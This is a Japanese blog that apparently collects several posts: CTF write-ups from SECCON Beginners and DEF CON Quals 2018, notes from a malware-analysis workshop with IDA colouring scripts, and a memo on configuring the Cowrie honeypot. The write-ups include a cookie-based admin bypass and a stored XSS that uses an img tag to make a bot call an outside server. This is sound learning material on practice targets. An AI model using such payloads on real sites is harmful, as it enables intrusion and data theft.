    <?php if($username === 'admin'): ?>
      こんにちは管理者さん。
      Flagは、 &quot;<?=$_ENV['SECCON_BEGINNERS_FLAG']?>&quot;です。
    <?php else: ?>
      こんにちは<?=$username?>さん。
      Flagは、管理者である&quot;admin&quot;さんにのみしか表示されません。
    <?php endif; ?>
    <form method="POST">
      <input type="text" placeholder="名前" name="name">
      <button type="submit">名前を変更する</button>
    </form>
    <pre>
    <code>
<?=htmlspecialchars(file_get_contents("./index.php"), ENT_QUOTES, "UTF-8")?>
    </code>
    </pre>
  </body>
</html>
    
    
  • 表示されている上記のphpソースを見ると,$username=adminだとFlagが表示されるみたい
  • ただ,フォームからadminと送信しても,$username="偽管理者"と書き換えられてしまう.
  • POSTnameパラメータが空の場合,nameというCookieに入った値が$usernameに入れられるらしい
  • そこでnameというCookieadminと指定してOWASP ZAPでPOSTをGETに書き換えてみたところFlagが表示された.
Gimme your comment

ビギナーズカンパニーは皆様からのご意見をお待ちしています。 お問合わせの回答には特別なブラウザを使用しており、このブラウザの User-Agent が分かった方には特別に得点を差し上げます :-)

http://gyc.chall.beginners.seccon.jp

User-Agentを取得したいということで,おそらくXSSで外部にアクセスさせるんだろうなと思ったので,Puppeteerで実装された特別なブラウザのソースも与えられているが,ひとまずXSSを探すことにした.
URLにアクセスすると,ビギナーズカンパニーのお問い合わせサイトのようなものがあって,新規投稿を押すと,以下のようなフォームがある
f:id:teppay:20180529144013p:plain とりあえずこのどちらかだろうと当たりをつけて以下のように入力してみると f:id:teppay:20180529144031p:plain

f:id:teppay:20180529144046p:plain このように本文htmlのタグを仕込めることがわかった.
そこで,あとは外部にリクエストを発生させるhtmlタグを仕込めば良いので,

<img src='<サーバのURL>'/>

という感じで本文に入力して投稿すると,まんまとリクエストが飛んできて,HTTPヘッダのUser-Agentの部分にFlagがあった

Misc

[Warmup] Welcome

フラグは公式IRCチャンネルのトピックにあります。

IRCに行くと表示された

[Warmup] plain mail

pcapファイルが与えられた
タイトルから平文でやり取りされたメールが記録されているんだろうということでそれならWiresharkで見るまでもないと思ったので,stringsしてみた.

q XZ
220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:38 +0000
.ehlo [172.19.0.3]
250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
/mail FROM:<me@4b.local> size=103
250 OK
0rcpt TO:<you@4b.local>
250 Accepted
0data
354 Enter message, ending with "." on a line by itself
0I will send secret information. First, I will send encrypted file. Second, I wll send you the password.
250 OK id=1fC17G-00005T-T0
421 67289bb1f069 lost input connection
q XZ
x(t@
220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:40 +0000
hehlo [172.19.0.3]
4(u@
250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
jmail FROM:<me@4b.local> size=658
<(w@
250 OK
krcpt TO:<you@4b.local>
B(x@
250 Accepted
kdata
l(y@
354 Enter message, ending with "." on a line by itself
kContent-Type: multipart/mixed; boundary="===============0309142026791669022=="
MIME-Version: 1.0
Content-Disposition: attachment; filename="encrypted.zip"
--===============0309142026791669022==
Content-Type: application/octet-stream; Name="encrypted.zip"
MIME-Version: 1.0
Content-Transfer-Encoding: base64
UEsDBAoACQAAAOJVm0zEdBgeLQAAACEAAAAIABwAZmxhZy50eHRVVAkAA6f/4lqn/+JadXgLAAEE
AAAAAAQAAAAASsSD0p8jUFIaCtIY0yp4JcP9Nha32VYd2BSwNTG83tIdZyU4x2VJTGyLcFquUEsH
CMR0GB4tAAAAIQAAAFBLAQIeAwoACQAAAOJVm0zEdBgeLQAAACEAAAAIABgAAAAAAAEAAACkgQAA
AABmbGFnLnR4dFVUBQADp//iWnV4CwABBAAAAAAEAAAAAFBLBQYAAAAAAQABAE4AAAB/AAAAAAA=
--===============0309142026791669022==--
P(z@
250 OK id=1fC17I-00005a-Fw
\({@
421 67289bb1f069 lost input connection
q XZ
220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:42 +0000
ehlo [172.19.0.3]
 250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
mail FROM:<me@4b.local> size=13
 250 OK
rcpt TO:<you@4b.local>
!250 Accepted
data
!354 Enter message, ending with "." on a line by itself
_you_are_pro_
!250 OK id=1fC17K-00005h-AC
1421 67289bb1f069 lost input connection
<5dhcpcd-7.0.1:Linux-4.15.10-1-ARCH:x86_64:GenuineIntel

Arch_VAIO
36:;w�

メールが3通送られているようで,1通目でI will send secret information. First, I will send encrypted file. Second, I wll send you the password.といっている.

2通目のメールからencrypted.zipを取り出し,3通目に書いてあるパスワードで解凍した.

flag.txtが出てきたので終了

てけいさんえくすとりーむず

てけいさんのプロのために作りました。 えくすとりーむなので300秒でタイムアウトします。

$ nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690

問題の通りてけいさんしていては300秒じゃとき終わらないし,ふつーに嫌なので以下の雑ソルバを書きました

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys
import socket

def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('tekeisan-ekusutoriim.chall.beginners.seccon.jp',8690))
    while(True):
        response = sock.recv(4096).decode('utf-8')
        if not response :
            break
        problem = response.split('\n')[-2:]
        print(*problem, sep='\n', end='')
        ans = str(eval(problem[1][:-2]))
        sock.send(ans.encode('utf-8')+b'\n')
        print(ans)



if __name__ == '__main__':
    main()

DEF CON Quals 2018 Writeup

はじめに

  • 常設なCTF(おもにLSE CTF)はちょいちょい解いていましたが,久しぶりのイベント型?CTF参加です
  • いままでSECCONオンライン予選にしか出たことがありませんでしたが,これからはチームも組めそうなのでじゃんじゃん挑戦していければと思っています.
  • 今回も今までどおりぼっち参戦です
  • 他の用事もあったので,warmup1問しか解けず,後追いでwarmupをもう1問ときました.つまり,大会終了後にwarmupを終えました...

解けた問題

You Already Know(warmup) - 101pt

Stop overthinking it, you already know the answer here.

You already have the flag.

Seriously, if you can read this, then you have the flag.

「これを読んでいるということは,もうFlagをゲットしているよ」と言われた.
これ系の問題はだれかのWriteupで見たことがあったし,warmupなので簡単だろうということで,Chromeの開発者ビュー?のNetworkタブでレスポンスを見てみたらコメントにFlagがあった

ELF Crumble(warmup) - 102pt

We prepared this beautiful binary that just printed for you the welcome flag, but it fell on the ground and broke into pieces.

Luckily no instruction was broken, so I am sure you can just glue it back together…

Flag format is non-standard, there are no brackets.

「Welcome Flagがprintしただけの美しいバイナリを用意したけど,壊れちゃったからくっつけてなおしてね」と言われた.
与えられたtgzファイルを解凍すると,以下のファイルが出てきた.

$ ll
-rwxr-xr-x@ 1 teppay  staff   7.3K  5  2 05:37 broken
-rw-r--r--@ 1 teppay  staff    79B  5  2 05:42 fragment_1.dat
-rw-r--r--@ 1 teppay  staff    48B  5  2 05:46 fragment_2.dat
-rw-r--r--@ 1 teppay  staff   175B  5  2 05:47 fragment_3.dat
-rw-r--r--@ 1 teppay  staff    42B  5  2 05:48 fragment_4.dat
-rw-r--r--@ 1 teppay  staff   128B  5  2 05:56 fragment_5.dat
-rw-r--r--@ 1 teppay  staff    22B  5  2 05:56 fragment_6.dat
-rw-r--r--@ 1 teppay  staff   283B  5  2 06:00 fragment_7.dat
-rw-r--r--@ 1 teppay  staff    30B  5  2 06:00 fragment_8.dat

$ file *
broken:         ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4cd47d8a237a3139d1884b3ef52f6ed387c75772, not stripped
fragment_1.dat: data
fragment_2.dat: data
fragment_3.dat: data
fragment_4.dat: data
fragment_5.dat: data
fragment_6.dat: data
fragment_7.dat: data
fragment_8.dat: data

唯一のELFファイルであるbrokenstringsコマンドに食わせてみると,

$ strings broken
[snip]
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[snip]

この様に807バイトのXが連続した文字列が見つかり,これは明らかにあやしい.
問題文とbroken以外のファイル名に共通しているflagment(断片)という単語から,このXで埋められた部分にflagment-n.datたちが入ることで,バイナリが完成するのではと思い,flagment-n.datのファイルサイズを足してみたら,ビンゴだった.

$ expr 79 + 48 + 175 + 42 + 128 + 22 + 283 + 30
807

つまり,このflagment_n.batを正しい順番に並べ替えて,Xで埋められた部分にはめればいいというわけだと思う.

※※恥ずかしげもなく長ったらしくWriteupしていますが,この問題はwarmup問題です

objdumpしてbrokenの中身を見てみると,

  • f1
  • f2
  • f3
  • recover_flag
  • main

の5つの関数がXで塗りつぶされている. そのままobjdumpの出力を使って,それぞれの関数のサイズを調べてみると,

  • f1 316Byte (0x5ad~0x6e8)
  • f2 69Bytes (0x6e9~0x72d)
  • f3 116Bytes (0x72e~0x7a1)
  • recover_flag 58Bytes(0x7a2~0x7db)
  • main 248Bytes(0x7dc~0x8d3)

関数の個数とサイズを見て,関数とfragment_n.datのファイルたちは 1対1には対応していないだろうということで,次にfragment_n.datファイルを見ていくことにした.

objdumpできるかと思ったらさすがひらけず,IDAで開いてみたらディスアセンブルできた.(たまにデータと認識されている部分があったので,'C'を押してコードと認識し直してもらいながら)
アセンブラを読んで関数のつながりのようなものを見ていければ良いのかもしれないが,自分はまだ関数のはじめとおわりを認識するのがやっとなので,以下のようにfragment_n.datの中の構造を書き出してみた.

fragment_1.dat
  • 関数の後半(3Bytes)|関数(69Bytes)|関数の前半(5Bytes)
fragment_2.dat
  • 関数の後半(11Bytes)|関数の前半(26Bytes)
fragment_3.dat
  • 関数の中間部分(175Bytes)
fragment_4.dat
  • 関数の後半(42Bytes)
fragment_5.dat
  • 関数の後半(109Bytes)|関数の前半(17Bytes)
fragment_6.dat
  • 関数の中間部分(20Bytes)
fragment_7.dat
  • 関数の中間部分(281Bytes)
fragment_8.dat
  • 関数の始まり(29Bytes)

おそらくバイナリの最後の命令のバイト数がわからなくて若干のずれが生じてしまっているが,関数のサイズと照らし合わせるとfragment_{8,7,1,5,6,2,3,4}.datの順番でならべるとピッタリはまる(はず)

そこでひとまずこれらを並べてくっつけた,pieceというバイナリを作った.

$ cat fragment_8.dat fragment_7.dat fragment_1.dat fragment_5.dat fragment_6.dat fragment_2.dat fragment_3.dat fragment_4.dat > piece

ということで,あとはこれをbrokenに埋め込むだけ...やりかたがわからない

もっとスマートな方法を使いたかったが,わからなかったのでバイナリエディタでコピペして,願いもこめてnotbrokenという名前で保存した.

$ ./notbroken

と実行したら,それらしい出力があったので解けたみたい

セキュキャンWS ~The Anatomy of Malware~ に参加した

はじめに

  • 3/23にセキュリティ・キャンプWSに参加してきました
  • 今回の講義は、セキュリティ・キャンプ2017全国大会で応募が殺到?した(倍率は1.5倍程度だったらしい)人気講義の完全版ということで、中津留勇さんのThe Anatomy of Malwareという講義でした。
  • 僕は2017年全国大会の修了生なのですが、僕もその講義の受講を希望して、落選したうちの一人だったので、今回参加できたのは非常に嬉しかったです。
  • 講義資料は公開できませんが、「勉強したことを公開するのはOK」 「僕がこの講義をした証を残してください(意訳)」的なことを中津留さんが言っていたので、講義で学んだことを簡単に書こうと思います。

セキュリティ・キャンプWSとは

一応、公式情報がインターネット上にない?そうなので書きます。

  • 「セキュリティ・キャンプWS」は、IPAが主催する、キャンプ修了生(全国大会、ミニキャンプ参加者)を対象に演習中心のワークショップ
  • セキュリティ・キャンプ参加した人しか参加できないというのが逆にとても良い(個人的な感想です)

学んだことメモ

講義内容としては、「The Anatomy of Malware(マルウェア解剖学)というタイトルからも分かる通り、

についての講義でした。
静的解析ということで、IDAを使って(効率的に)ゴリゴリアセンブリを読んでいく方法を教えてもらいました。
ちなみに、今回のものではありませんが、中津留さんのマルウェア解析講義に関する資料はJPCERTによって公開されており、これが今回の講義の事前学習になっていました。 セキュリティ・キャンプ全国大会2015でのマルウエア分析講義(2015-09-10)

引越しの準備で忙しいので、自分が特に印象に残っていて、すぐ使える!と思った2つのテクニックのみ挙げたいと思います。笑

色をつける!

IDAには、IDCというC言語に似たプログラムを実行する機能があり、解析のための機能(コメントをつける、エンコード・デコードするなど?)を独自で実装できます。
これを使ってアセンブリを読みやすく色をつけようということです。
今回の講義で色付けすることをおすすめされたのは、

  • jmp/call命令
  • xor命令

でした。前者は単純に関数内の遷移をわかりやすくするためですが、xorは、マルウェアによる難読化や簡単な暗号化などの処理によく使われるからだそうです。

公開された資料(セキュリティ・キャンプ全国大会2015でのマルウエア分析講義(2015-09-10))の最後にコードがのっていますが、 File > IDC Commandをクリックして、以下のコードを入力することで、jmp命令とcall命令をLight Blueにすることができます。

auto head, op;
head = NextHead(0x00000000, 0xFFFFFFFF);
while ( head != 0xFFFFFFFF ){
    op = GetMnem(head);
    if ( op == "jmp" || op == "call" )
        SetColor(head, CIC_ITEM, 0xFFFCF8);
    head = NextHead(head, 0xFFFFFFFF);
}

なぜかカラーコードはRGBではなく、BGRの順番です。
そして自分はこれを以下のように変更して、色を変えるのと、xor命令に対応させました。

auto head, op;
head = NextHead(0x00000000, 0xFFFFFFFF);
while ( head != 0xFFFFFFFF ){
    op = GetMnem(head);
    if ( op == "jmp" || op == "call" )
        SetColor(head, CIC_ITEM, 0xDDDDFF);
        
    if (op == "xor")
        SetColor(head, CIC_ITEM, 0xC9E6C8);

    head = NextHead(head, 0xFFFFFFFF);
}

調べてみると、
xor命令のうち、xor eax, eaxのようにゼロ初期化する以外の、純粋なxor?のみ色付けするようなことも出来るようなので、やってみようと思います。

ググる

APIについて

静的解析ではcallされているAPIとそれに渡される引数から関数の動作を特定していきます。
それにあたって、APIについて調べるのに一番手っ取り早いツールがGoogleというわけです。
例えば、CreateProcessというAPIcallされている場合、そのままAPI名でググれば一番上にドキュメントが、しかも日本語でヒットします。 (参考:CreateProcess - Google 検索)

とりあえずググる

さらに、静的解析をするにあたって、おそらく重要なことの1つとして、全部読まないことがあげられていました。
これは、コードを読まなくても推測が可能である部分は、読まずに済ませ、解析の速度をあげようということですが、これにもGoogleが活躍します。
例えば、コード内で("52 09 6A D5 30"から始まる)謎のバイト列を読み込んで処理を行う部分があった場合、ひとまず"52 09 6A D5 30"でググってみます。(参考: 52 09 6A D5 30 - Google 検索)
すると、これまた一番上にRijndael S-boxというAESに関連するワードがヒットします。
ここからこのバイト列を読み込んでいる部分はAESの処理をしている部分であると推測することができるわけです。

まとめ

  • 4時間の講義でしたが、すごく終わるのが早く感じました
  • ただめっちゃ頭がつかれました。。。
  • セキュキャンWSまた参加したいです

Cowrieのuserdb.txtの書き方

はじめに

  • タイトルの通り、Cowrieのuserdb.txtの書き方を調べたので、覚え書き的なもの
  • みればわかるやんって方はスルーで笑

わかったこと

フォーマット

まず、userdb.txtは、1行で1ユーザを表しており、1行は2つの':'(コロン)で区切られています。
1行の内容としては

<ユーザ名>:<uid>:<password>

です。
つまり、userdb.txtの中身が

root:0:passwd
admin:0:admin

である場合、

  • root/passwd
  • admin/admin

の2つの組み合わせのみが認証を通過して、シェルを触ることができるということです。
ここまではファイルの中身を見ればだいたいわかります。

passwordの書き方

ただし、パスワードはそのまま書く以外に2つ方法があります。

まずはそのまま
root:0:passwd

このように書くと、uidが0で、パスワードは'passwd'の'root'というユーザが出来ます。

ワイルドカード
root:0:*

このようにパスワード部分を'*'とすると、ワイルドカードとなり、どのようなパスワードでも認証に成功させる事ができます。
つまりあるユーザ名でアクセスしてくる人をパスワードにかかわらずログインさせ、行動を観察することが出来ます。

特定のパスワード拒否
root:0:!passwd

このように書いた場合、rootというユーザに'passwd'というパスワードでログインしようとした場合拒否する。という設定となっています。
ただし、この行の前に同じユーザ名でワイルドカードの行があった場合、ログインに成功してしまうため、特定のパスワードのみ拒否したい場合は、かならずワイルドカードよりも前の行に書く必要があります。

まとめ

  • 覚え書きでした。